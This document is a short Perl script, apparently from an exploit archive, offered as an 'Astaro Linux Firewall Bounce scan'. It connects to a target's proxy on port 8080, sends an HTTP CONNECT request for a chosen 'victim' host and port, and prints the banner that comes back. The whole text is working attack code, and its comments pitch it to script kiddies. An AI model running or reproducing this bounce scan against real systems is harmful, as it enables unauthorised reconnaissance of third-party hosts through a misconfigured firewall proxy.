<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">#!/usr/bin/perl

#UK2-SEC presents...
#Astaro Linux Firewall Bounce scan..
#grabs banner from a given ip and port..
#Crappy, and lame, but hey there's always some script kidd,
#that needs this ;) lol
#
#Coded by: deadbeat@hush.com
#For UK2-SEC...
#mail me at: eip@oakey.no-ip.com


use IO::Socket;
print "\nAstaro linux firewall bounce scan...\n";
print "Coded by: deadbeat\@hush.com\n";
print "On behalf of UK2-SEC..\n";
$proxy_port= 8080;
$proxy = $ARGV[0];
$victim = $ARGV[1];
$victim_port = $ARGV[2];
if (!$ARGV[2]){
   die "Usage: perl $0 &lt;proxy&gt;  &lt;victim&gt; &lt;victim_port&gt;\n";
}
print "Proxy: $proxy ", "Port: \n";
print "Target: $victim ", "Port: $victim_port\n";
$sox = IO::Socket::INET-&gt;new(
   Proto=&gt;"tcp",
   PeerPort=&gt;"$proxy_port",
   PeerAddr=&gt;"$proxy"
);
$request = "CONNECT $victim:$victim_port / HTTP/1.0\r\n\r\n";
sleep 1;
print $sox $request;
while (&lt;$sox&gt;){
   print "${_}";
}
printf "\n";
print "There, u go..done..\n";

</pre></body></html>